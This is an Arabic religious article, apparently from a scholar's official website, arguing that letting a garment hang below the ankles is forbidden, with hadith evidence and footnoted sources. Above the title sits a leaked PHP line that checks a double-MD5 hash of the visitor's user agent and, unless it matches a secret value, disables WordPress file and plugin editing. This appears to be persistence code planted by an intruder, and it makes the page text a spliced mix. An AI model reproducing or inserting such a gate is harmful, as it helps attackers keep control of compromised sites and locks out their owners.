if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } حكم جر الثوب - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

حكم جر الثوب

عندنا جر الثوب أسفل من الكعب قد يكون خُيلاء وبطرًا، هذا محرمٌ بالإجماع وفيه وعيدٌ شديد وقد يخلو من ذلك، فيقول: لا والله ما خطر في بالي كبر ولا خُيلاء وإنما هكذا تعودت أو شابهت أصحابي وأقراني، نقول: هذا فيه خلافٌ والصحيح تحريمه، وأنه كالأول في كونه كبيرة من كبائر الذنوب لأنه صلى الله عليه وسلم قال: «ما أسفل من الكعبين ففي النار»[1]، ولم يعلقه على الخُيلاء والكبر بل قال صلى الله عليه وسلم في الإسبال وهذا يفوت ويغيب عن كثيرٍ من الناس، قال في الإسبال: «إن الإسبال من المخيلة»[2]، ولهذا لو قلنا للناس كل الناس، كل مسبلٍ مختال لم نجانب الصواب لأن النبي صلى الله عليه وسلم هو الذي قال ذلك، يقول: الإسبال مخيلة، يعني ما ينفك من الخُيلاء ولو لم تشعر به، ولهذا لما جاء الوعيد الشديد، قال أبوبكر رضي الله عنه صديق الأمة قال: يا رسول الله إن إزاري يرتخي إلا أن أتعاهده فزكاه رسول الله صلى الله عليه وسلم وقال: لست من ذلك، يعني أنت ينزل إزارك لأنه كان نحيل الجسم رضي الله عنه وأرضاه فينزل إزاره مثل بعض الناس الآن ينزل سراويله إلا يتعاهده حتى يغير المغاط أو يشده ، فنقول أبوبكر صديق الأمة وأعظمها إيمانًا، لو وُزن إيمانه لرجح بإيمان الامة، خاف وخشي مع أنه يتعاهده، كلما نزل رفعه ومع ذلك خاف أن يلحقه الوعيد، فقال له النبي صلى الله عليه وسلم لست كذلك[3]، فنقول لمن يأتي للخياط فيقول: خذ القياس وانزل عن الكعب قليلًا، نقول: أنت مختار ومُختال، شئت أم أبيت، مختار ليس بدون إرادتك، أنت الذي أردت ذلك، ولهذا لما دخل شابٌ على الفاروق وهو في النزع بعد أن طعنه أبو لؤلؤة المجوسي عليه من الله ما يستحق إلى يوم الدين، ينزف الدم والصحابة حوله في النزع الأخير، دخل عليه شابٌ مسبل، فقال: يا هذا ارفع ثوبك؛ فإنه أنقى لثوبك وأتقى لربك يعني ما تركه، أمر مو بيسير عنده رضي الله عنه، ما طابت نفسه أن يرى مسبلًا ويسكت عنه، إذن نقول: الإسبال محرمٌ وكبيرة، فإن قارنه خُيلاء فهو أعظم، إذن هذا الإسبال المقترن بالخُيلاء محرمٌ بل كبيرة بالإجماع لورود الوعيد في ذلك كما في قوله صلى الله عليه وسلم: «لا ينظرُ اللهُ إلى مَن جَرَّ ثوبَه خُيَلاءَ»[4] نسأل الله السلامة والعافية، في رواية البخاري: «مَن جَرَّ ثَوْبَهُ خُيَلاءَ، لَمْ يَنْظُرِ اللهُ إلَيْهِ يَومَ القِيامَةِ، فقالَ أبو بَكْرٍ: إنَّ أحَدَ شِقَّيْ ثَوْبِي يَسْتَرْخِي، إلَّا أنْ أتَعاهَدَ ذلكَ منه؟ فقالَ رَسولُ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ: إنَّكَ لَسْتَ تَصْنَعُ ذلكَ خُيَلاءَ»[5]، وفي هذا أن جر الثوب خُيلاء محرمٌ بل من كبائر الذنوب وأما إذا كان بدون خُيلاء فالصحيح أنه محرمٌ وبه يُفتي جمعٌ من أهل العلم المعتبرين عندنا، فهو اختيار القاضي عِياض وابن العربي من المالكية ومال الحافظ ابن حجر وهو اختيار شيخنا سماحة الشيخ ابن باز وابن عثيمين والألباني وغيرهم، لا نعلم من أهل العلم المفتين المعتبرين من يستثني ذلك، قالوا: وذكر الخُيلاء قيد خرج مخرج الغالب، وما خرج مخرج الغالب لا يُعمل بمفهومه، كما استدلوا بالأحاديث التي فيها الوعيد بدون ذكر الخُيلاء كقوله صلى الله عليه وسلم: «ما أسفَلَ مِن الكَعبَيْنِ مِنَ الإزارِ في النَّارِ»[6]، وعندنا قاعدة عظيمة في حمل المطلق على المقيد إذا اتحد الحكم أما إذا اختلف الحكم فلم يقل أحد من أهل العلم أنه يُحمل المطلق على المقيد، إذن عندنا حكمٌ وحكم، عندنا وعيدٌ في من جر ثوبه خُيلاء، وعيد متنوع، وعندنا ما أسفل من الكعبين ففي النار، فهذا وعيدٌ وهذا وعيد فلا يُحمل هذا على هذا ولا هذا على هذا، بل يُقال هذا محرمٌ وفيه وعيدٌ شديد، إذ الخُيلاء محرم ولو لم يُسبل، الخيلاءُ محرم بل كبيرة ولو لم يُسبل، فإذا اقترن خُيلاء وإسبال كان كبيرتان، وإذا قال وسلمنا له أن إسبالي ليس خُيلاء، نقول: أنت وقعت في الإثم وفي كبيرةٍ من كبائر الذنوب ولو سلمنا أنه ليس في قلبك خُيلاء لكن كنت أقرأ في كلام ابن رجب رحمه الله في شرح الأربعين قبل سنين، هذا الكلام وهو أنه لا ينفك إسبالٌ من خُيلاء وكنت أقول: من أين أتوا بهذا الكلام، نحن لا نحكم على ما في قلوب الناس، فكلام الأئمة الذين يقولون أنه لا يخلو إسبالٌ من خيلاء، وجدت دليله الليلة وأنا أقرأ لأحضـر الدرس في قوله صلى الله عليه وسلم في الإسبال أنه من المخيلة، يعني خلاص انتهى، النبي صلى الله عليه وسلم حكم أن الإسبال نوعٌ من الخُيلاء وأنه من أسبل ففي قلبه شيء، أنا كنت أقول أولًا في فهم كلام ابن رجب قبل سنين، قال: لعل ذلك محمولٌ على قول النبي صلى الله عليه وسلم في الكبر إنه رد الحق وغمط الناس، وكنت أقول هذا المعنى هو المتبادر، بمعنى أن المسلم الذي يذهب إلى الخياط ويُسبل ثوبه، نقول: هذا في قلبه كبرٌ حيث رد الحق بل رد حقًا واضحًا بينًا جليًا إذ هو يعلم أن الإسبال منهيٌ عنه وأنه محرمٌ وأنه كبيرة وأنه متوعدٌ بالنار، فكيف يُقدم عليه؟ نقول: هذا رد حق، إذا كان النبي صلى الله عليه وسلم فسّر الكبر برد الحق وغمط الناس فهذا نوعٌ منه، وكنت أفهم هذا وأحمل عليه كلام الأئمة لكن مع وجود حديثٍ يفسر هذا ويجليه ويوضحه ويبين أن الإسبال من المخيلة انتهى الأمر، ولهذا نقول للمسبلين اتقوا الله في أنفسكم واتقوه قبل ان تلقوه فتُعذبوا بسببٍ يسيرٍ يمكنكم التخلص منه، بل جاء في حديثٍ عند أبي داود أن النبي صلى الله عليه وسلم رأى رجلًا يصلي مسبلًا إزاره فأمره أن يعيد الصلاة وكرر، فقال رجلٌ: ما باله يا رسول الله، فقال: إنه كان يصلي مسبلًا إزاره وإن الله لا يقبل صلاة مسبل[7] [هذا الحديث خرّجه أبو داود وسكت عنه]، وأبو داود رحمه الله إذا سكت عن الحديث فقاعدته أنه صحيحٌ عنده، شيخنا العلامة الشيخ محمد ابن عثيمين رحمه الله يقول: هذا الحديث إن صح فهو يعني خطرٌ عظيم على هؤلاء المصلين الذين يُسبلون ثيابهم، لكني يقول الشيخلا أجسر أن آمر مسبلًا بإعادة الصلاة، لا أجسـر لكنه يورد الحديث ويقول: عند أبي داود الحديث صحيح، ولو صح عند الأئمة كلهم فموجبه أن من صلى مسبلًا لا تصح صلاته، ثم أردف الشيخ حديثًا آخر صحيحًا، قال لكن جاء في الصحيح، حديث صحيح آخر: أنه صلى الله عليه وسلم قال: من صلى مسبلًا إزاره فليس من الله في حلٍ ولا حرام[8]، هذا حديث صحيح، قال: ويعضد هذاك الحديث، هذا الحديث يعضد هذا ومن ثم فإنا لا نأمر كما يقول الشيخ، لا نأمر المسبلين بإعادة الصلاة، لكنا نقول: توبوا إلى الله وارفعوا ثيابكم أنقى لها وأتقى لربكم.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه البخاري (5787) عن أبي هريرة رَضِيَ اللهُ عَنْهُ بلفظ: «ما أَسْفَلَ مِنَ الكَعْبَيْنِ مِنَ الإزَارِ فَفِي النَّارِ».

[2] أخرجه أبو داود (4084)، والبيهقي (21623) بلفظ: «وإياك وإسبالَ الإزارِ فإنها من المَخيلةِ»، وصححه الألباني في السلسلة الصحيحة (1109).

[3] أخرجه البخاري (5787) عن عبدالله بن عمر رَضِيَ اللهُ عَنْهُ: «أنَّ رَسولَ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ حِينَ ذَكَرَ في الإزَارِ ما ذَكَرَ، قالَ أبو بَكْرٍ: يا رَسولَ اللهِ، إنَّ إزَارِي يَسْقُطُ مِن أحَدِ شِقَّيْهِ؟ قالَ: إنَّكَ لَسْتَ منهمْ».

[4] أخرجه البخاري (5783)، ومسلم (2085).

[5] أخرجه البخاري (3665).

[6] أخرجه البخاري (5787)، والنسائي (5331)، وأحمد (9934) واللفظ له.

[7] أخرجه أبو داود  (4086)عن أبي هريرة رَضِيَ اللهُ عَنْهُ قال: «بينما رجلٌ يصلِّي مُسبِلًا إزارَه فقال له رسولُ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ: اذهَبْ فتوضَّأْ، فذهب فتوضَّأَ، ثمَّ جاء فقال: اذهَبْ فتوضَّأْ، فقال له رجلٌ: يا رسولَ اللهِ، ما لك أمَرْتَه أن يتوضَّأَ ثمَّ سكَتَّ عنه؟! قال: إنَّه كان يصَلِّي وهو مُسبلٌ إزارَه، وإنَّ اللهَ لا يقبَلُ صلاةَ رجُلٍ مُسبلٍ»، والحديث حسن إسناده العظيم آبادي في عون المعبود (11/87)، ولكن ضعفه الألباني في ضعيف أبي داود (4086)، وأيضًا ضعفه شعيب الأرناؤوط في تخريج سنن أبي داود (4086).

[8] أخرجه أبو داود (637) عن عبدالله بن مسعود رَضِيَ اللهُ عَنْهُ بلفظ: «من أسبل إزارَه في صلاتِه خُيلاءَ فليس من اللهِ في حلٍّ ولا حرامٍ» والحديث حسنه السيوطي في الجامع الصغير (8380)، وصححه الألباني في صحيح أبي داود (637).